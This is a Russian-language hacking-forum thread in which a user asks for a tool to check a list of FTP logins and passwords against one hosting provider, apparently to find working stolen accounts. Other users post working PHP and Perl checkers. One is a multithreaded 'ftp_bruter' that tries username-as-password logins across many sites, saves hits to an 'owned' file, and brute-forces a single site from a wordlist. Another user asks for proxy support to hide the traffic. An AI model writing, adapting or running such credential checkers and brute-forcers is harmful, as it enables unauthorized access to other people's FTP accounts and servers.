Нужен скрипт или прога для чека фтп на правильность логина и пасса. Чекаться будет один хостер. Допустим если взять тотал коммандер, то в поле Имя сервера, будет писацца domain.somehost.com В поле учетная запись та-же переменная, что и domain, и пароль ( с паролем понятно =)) Может есть такие скрипты, а может кто и возьмётся? Да, совсем забыл =) Я буду чекать уже готовый файл с логинами и пассами. Он будет представлен в формате txt в виде 1;login;pass 2;login;pass 3;login;pass
PHP: <?php set_time_limit(0); $logins = "ftp"; $ftp = file($logins); for($i=0;$i<count($ftp);$i++){ $check = explode(";", $ftp[$i]); $link = ftp_connect($check[0], '21', '15'); //21 - порт, 15 - время ожидания в секундах. if(ftp_login($link, $check[1], $check[2])){ $fp = fopen ("good", "a+"); fwrite ($fp, $check[0].":".$check[1].":".$check[2]."\n"); fclose ($fp); } } ?> это?
Так немного не удобно будет в моём случае. Мне важно чтоб файле good после проверки записывалось так: 1;login;pass 5;login;pass 3333;login;pass и т.д. Порядковый номер мне тоже важен. Т.е. я могу скормить скрипту только в таком формате.
PHP: #!perl -w use strict; use Net::FTP; use threads; print "\n# $0\n# (C)oded by .:[KSURi]:.\n"; print "Enable OneSiteMode? [0/1] "; my $answer=<STDIN>; chomp($answer); if($answer==1) { $SIG{INT}=sub { print "\n[i] \$SIG{INT} hooked!"; exit(0); }; my $oneSiteMode=<STDIN>,my $oneSiteUser=<STDIN>,my $wordlist=<STDIN>; print "\n[i] Bruting ".$oneSiteMode." ...\n"; oneSiteBrute($oneSiteMode,$oneSiteUser,$wordlist); exit(0); } my $in="sites.txt"; my $out="owned.txt"; my $sign="sign.dat"; my $timeout=20; my $i=0; my @threads=(); open(IN,$in) or exit print "\n[-] Cannot open $in\n"; my @sites=<IN>; close IN; open(SIGN,">>$sign"); $SIG{INT}=sub { undef @threads; print "\n[i] ".$i." FTP servers owned\n"; exit(0); }; for(my $thrCtr=0;$thrCtr<=$#sites;$thrCtr++) { if($thrCtr==int($#sites/4)||$thrCtr==int($#sites/3)||$thrCtr==int($#sites/2)) { print "\n\n[~] No new new threads for ".$timeout." secs\n"; sleep($timeout); print "\n[~] Starting new threads\n\n"; } $threads[$thrCtr]=threads->new(\&try,$sites[$thrCtr]); $threads[$thrCtr]->detach(); } while(-s $sign!=$#threads) { sleep(1) } close SIGN; unlink $sign; undef @threads; sub try { my $site=shift; chomp($site); print $site."... "; if(my $conn=Net::FTP->new($site, Debug=>0)) { my($string,undef)=split('\.',$site); if($conn->login($string,$string)) { open(OUT,">>$out") or print "OK (Not logged)\n"; print OUT $site."\:".$string."\:".$string."\n"; close OUT; print "OK\n"; $i++; undef $conn; } elsif($conn->login(reverse($string),reverse($string))) { open(OUT,">>$out") or print "OK (Not logged)\n"; print OUT $site."\:".$string."\:".$string."\n"; close OUT; print "OK\n"; $i++; undef $conn; } else { print "FAILED\n"; undef $conn; } } else { print "FAILED\n"; undef $conn; } print SIGN "x"; } sub oneSiteBrute { my($site,$user,$wordlist)=@_; open(WORDS,$wordlist) or exit print "\n[-] Cannot open wordlist [".$wordlist."]\n"; while(<WORDS>) { my $conn=Net::FTP->new($site,Debug=>0) or exit print "\n[-] Cannot connect to".$site."\n";# if(!$conn); if($conn->login($user,chomp($_))) { print "\n[+] PASSWORD FOUND: ".$_."\n"; } } close WORDS; } # ftp_bruter v2.5.pl # (C)oded by .:[KSURi]:. Вот мой старый сорец - пользуйся. Только советую его подредактировать тк код не рационален(
вот оченЬ даже не плоХой скрипт ... проверяет в Одном файле... Порядок проверки ... записываем все в Один файл таким образом: ftp://login[email protected] --------------------------------------------------------------- подаем команду таким образом : scr.pl passworcs.txt good.txt bad.txt И получаеться что катлеты отдельно и мухи тож отдельно ... скрипт очень мне понравился ... Вот бы такой написать с ПоддерЖкой проксей . что бы коннект шел через прокси сервера ... тоГда бы ему цены не было... код самого скрипта тут http://anykey.host.sk/soft/chekftp.p Если кто надумает помочь с подобным скриптом для брута ... ну что бы через проксеги это дело все ходило .. рад буду помоЧь... ну или протестить . самому писать знаний наверное пока что маловато ... но все в процессе ... счас пока что сокеты ни как не научусь открывать не понимаю что происсходить поЭтому с проксями парЮсь... НароД помоГите кто ниБУдь !
Всем спасибо за предложенные варианты=) Но вроде ничего подходящего среди них нет =) Дам вводные ещё раз. Есть файл со строками: 1:vasia:123456 32:fedor:qwerty 58:masha:55555 и т.д. В этом файле я изменить ничего не могу. Номера перед именем мне важны. Брутить ничего не надо. Нужно чтоб скрипт прошёл один раз по каждой строке ( взяв из неё имя и пароль ) и попытался сконнектицца. При удачном соединении, записав строку в файл гуд. При неудачном идёт на следующую, и т.д. Для соединения с сервером на хостинге используется следующий формат. Если 1:vasia:123456 то имя сервера:vasia.somehost.com имя пользователя:vasia пароль:123456
руки то откуда растут .... ??? бери да правь.... чо там слоЖного ... или ты думаешь лично для тебя прогу писать будут ? нет уж тогда лучше учи перл ...
блиа... кароче самый тупой макет выглядит так: Code: open(IN,"words.txt")||die; while(<IN>) { chomp; my(undef,$login,$password)=split(':',$_); my $ftp=Net::Ftp->new() # не помню аргументы наизусть( if($ftp->login($login,$password)) { exit print $_."\n" } }
ну гаврила спешал фор ю #!usr/bin/perl use Net::FTP; $ftp = Net::FTP->new("genom.h10.ru", ); open file,'<ftp.txt'; # файл в котром хранятся твои акаунты к ftp open goodd,'>good.txt'; while($lol=<file>) { $lol=~s/\n//; ($cifra,$llogin,$pass)=split(/;/,$lol); # разбираем $ftp -> login($llogin,$pass) or goto(dava); print goodd "$lol\n"; dava: } close(goodd);close(file); ps-- и не хужже чем у undergraund =)
FTP Checker (PHP) от [Cyber Lords Community] http://cyberlords.net/releases/cl_ftp_checker.php.txt - Сматреть тут
